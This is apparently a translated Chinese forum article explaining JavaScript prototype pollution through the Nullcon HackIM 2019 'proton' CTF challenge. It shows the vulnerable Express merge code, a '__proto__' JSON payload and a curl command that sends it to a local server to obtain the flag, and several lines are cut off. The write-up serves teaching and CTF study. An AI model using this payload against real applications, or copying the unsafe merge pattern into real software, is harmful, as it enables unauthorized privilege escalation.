Node.js 原型污染攻击的分析与利用

惊鸿一瞥最是珍贵 / 2019-03-04 09:28:00 / 浏览数 1648 技术文章 技术文章 顶(1) 踩(0)

介绍

prototype——原型
原型污染攻击，顾名思义，就是污染基本对象的原型，这有时还会导致RCE。Olivier Arteau对此进行了更深层次的研究，并在NorthSec 2018大会上做了演讲。让我们以 Nullcon HackIm 2019的proton为例，深入了解该漏洞：

JavaScript中的对象

JavaScript中的对象只是键值对的集合，其中每对都称为属性。让我们举一个例子来说明(您可以使用浏览器控制台亲自尝试执行)：

```
var obj = {
   "name": "0daylabs",
   "website": "blog.0daylabs.com"
}

obj.name;     // prints "0daylabs"
obj.website; // prints "blog.0daylabs.com"

console.log(obj);  // prints the entire object along with all of its properties.
```

在上面的示例中，name和website是对象obj的属性。仔细查看最后一条语句，`console.log`打印出的信息比我们显式定义的属性要多得多。输出的多余信息来自哪里？
`Object`是创建所有其他对象的基本对象。我们可以通过在对象创建过程中传递参数`null`来创建一个空对象(没有任何属性)，在默认情况下，这会创建一个与其值对应的类型

```
console.log(Object.create(null)); // prints an empty object
```

javaScript中的函数/类？

在javaScript中，类和函数的概念是相对的(函数本身充当类的构造函数，并且没有明确的"类"本身)。让我们举个栗子：

```
function person(fullName, age) {
   this.age = age;
   this.fullName = fullName;
   this.details = function() {
       return this.fullName + " has age: " + this.age;
   }
}

console.log(person.prototype); // prints the prototype property of the function

/*
{constructor: ƒ}
   constructor: ƒ person(fullName, age)
   __proto__: Object
*/

var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);

console.log(person1);

/*
person {age: 25, fullName: "Anirudh"}
age: 45
fullName: "Anand"
__proto__:
   constructor: ƒ person(fullName, age)
       arguments: null
       caller: null
       length: 2
       name: "person"
   prototype: {constructor: ƒ}
   __proto__: ƒ ()
```

```
   [[FunctionLocation]]: VM134:1
   [[Scopes]]: Scopes[1]
__proto__: Object
*/

console.log(person2);

/*
person {age: 45, fullName: "Anand"}
age: 45
fullName: "Anand"
__proto__:
   constructor: ƒ person(fullName, age)
       arguments: null
       caller: null
       length: 2
       name: "person"
   prototype: {constructor: ƒ}
   __proto__: ƒ ()
   [[FunctionLocation]]: VM134:1
   [[Scopes]]: Scopes[1]
__proto__: Object
*/

person1.details(); // prints "Anirudh has age: 25"
```

在上面的示例中，我们定义了一个名为person的函数，并创建了两个名为person1和person2的对象。如果我们关注一下新创建的函数和对象的属性，我们可以注意到两点
创建函数时，JavaScript引擎包含该函数的prototype属性。这个prototype属性是一个对象(称为prototype对象)，默认情况下有一个构造函数属性，该属性指向proto
创建对象时，JavaScript引擎将__proto__属性添加到新创建的对象中，该对象指向构造函数的prototype对象。简而言之,object.__proto__指向function.prototy

Constructor

Constructor是一个神奇的属性，它返回用于创建对象的函数。

```
var person3 = new person("test", 55);

person3.constructor;  // prints the function "person" itself

person3.constructor.constructor; // prints ƒ Function() { [native code] }    <- Global Function constructor

person3.constructor.constructor("return 1");

/*
ƒ anonymous(
) {
return 1
}
*/

// Finally call the function
person3.constructor.constructor("return 1")();   // returns 1
```

JavaScript中的原型(prototype)

这里需要注意的一点是，可以在运行时修改prototype属性来添加/删除/编辑条目。例如：

```
function person(fullName, age) {
   this.age = age;
   this.fullName = fullName;
}

var person1 = new person("Anirudh", 25);

person.prototype.details = function() {
       return this.fullName + " has age: " + this.age;
   }

console.log(person1.details()); // prints "Anirudh has age: 25"
```

我们在上面做的是修改函数的原型，添加一个新的属性。使用对象可以获得相同的结果：

```
function person(fullName, age) {
   this.age = age;
   this.fullName = fullName;
}

var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);

// Using person1 object
person1.constructor.prototype.details = function() {
       return this.fullName + " has age: " + this.age;
   }

console.log(person1.details()); // prints "Anirudh has age: 25"

console.log(person2.details()); // prints "Anand has age: 45" :O
```

注意到什么可疑的地方了吗？我们修改了person1对象，但是为什么person2也受到了影响？原因是在第一个示例中，我们直接修改了person.prototype以添加一个新属性

原型污染

举个栗子：obj[a][b] =
value。如果攻击者可以控制a和value,则可以将a的值设置为__proto__，并且将使用值value为应用程序的所有现有对象定义属性b。
攻击并没有上面说的这么轻描淡写，根据研究报告，只有在以下任何一种情况发生时才可以展开攻击：
对象递归合并
按路径定义属性
对象克隆
以Nullcon HackIM一个题目为例，深入研究一下。

```
'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
   for (var attr in b) {
       if (isObject(a[attr]) && isObject(b[attr])) {
           merge(a[attr], b[attr]);
       } else {
           a[attr] = b[attr];
       }
   }
   return a
}

function clone(a) {
   return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
   var body = JSON.parse(JSON.stringify(req.body));
```

```
   var copybody = clone(body)
   if (copybody.name) {
       res.cookie('name', copybody.name).json({
           "done": "cookie set"
       });
   } else {
       res.json({
           "error": "cookie not set"
       })
   }
});
app.get('/getFlag', (req, res) => {
   var ■dmin = JSON.parse(JSON.stringify(req.cookies))
   if (admin.■dmin == 1) {
       res.send("hackim19{}");
   } else {
       res.send("You are not authorized");
   }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
```

代码首先定义一个函数merge,关于合并两个对象的设计是非常不安全的。由于执行merge()的库的最新版本已经打了补丁，这道题目使用了旧方法合并对象，从而易受到攻击
在上面的代码中，我们可以快速注意到的一点是将2 个"admins"定义为`const admin`和`var ■dmin`。理想情况下，JavaScript中不允许将const变量再次定义为var，所以其中一点有不同的地方。我花了很长时间才弄清楚，其中一个是正常的a，而另一个是其他的a(
从源代码入手：
`Merge()`函数是以一种可能发生原型污染的方式编写的(本文后面将对此进行更多分析)。这是问题分析的关键。
易受攻击的函数是在通过`clone(body)`访问`/signup`时被调用的，因此我们可以在注册时发送JSON有效负载，这样就可以添加admin属性并立即调用`/getFlag`来获取Fla
如前所述，我们可以使用`__proto__`(points to constructor.prototype)来创建值为1的`admin`属性。
执行相同操作的最简单的payload

```
{"__proto__": {"admin": 1}}
```

因此，解决问题的最终payload(使用curl，因为我不能通过burp发送同形异义字)：

```
curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'ht
```

Merge()-为什么它易受攻击？

一个很迫切的问题，Merge()函数为什么易受攻击？以下是它的工作原理和易受攻击的原因：
该函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下，第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上，并且它们都是`Object`类型，那么Merge()函数将重新开始合并它。
现在，如果我们可以控制`b[attr]`的值，将`attr`设为`__proto__`，也可以控制b中`proto`属性内的值，那么当递归时，`a[attr]`在某个点实际上将指向对象a的原型，我们
让我们通过编写一些调试语句来更好的理解。

```
const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
   console.log(b); // prints { __proto__: { admin: 1 } }
   for (var attr in b) {
       console.log("Current attribute: " + attr); // prints Current attribute: __proto__
       if (isObject(a[attr]) && isObject(b[attr])) {
           merge(a[attr], b[attr]);
       } else {
           a[attr] = b[attr];
       }
   }
   return a
}

function clone(a) {
   return merge({}, a);
}
```

现在，让我们尝试发送上面提到的curl请求。对象b现在的值为：`{ __proto__: { admin: 1 } }`,其中`__proto__`只是一个属性名，实际上并不指向函数原型。现在，在函数`merge()`中，`for (var attr in b)`迭代每个属性，其中第一个属性的名称是`__proto__`。
因为它总是Object类型，所以它开始递归调用，这次是`merge(a[__proto__], b[__proto__])`。这实际上帮助我们访问了a的函数原型，并添加了在b的proto属性中定义的新属性。

参考

https://www.youtube.com/watch?v=LUsiFV3dsK8
https://hackernoon.com/prototypes-in-javascript-5bba2990e04b
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object

■■■■■https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/#merge---why-was-it-vulnerable

上一篇：以太坊链审计报告之Clef审计报告 下一篇：TAMUCTF-部分pwn解析

1. 1 条回复

aliyunhapp**** 2019-03-06 18:01:02

有一道很有意思的 xss 题，就是利用原型链来解题，非常有意思， http://prompt.ml/13

0 回复Ta
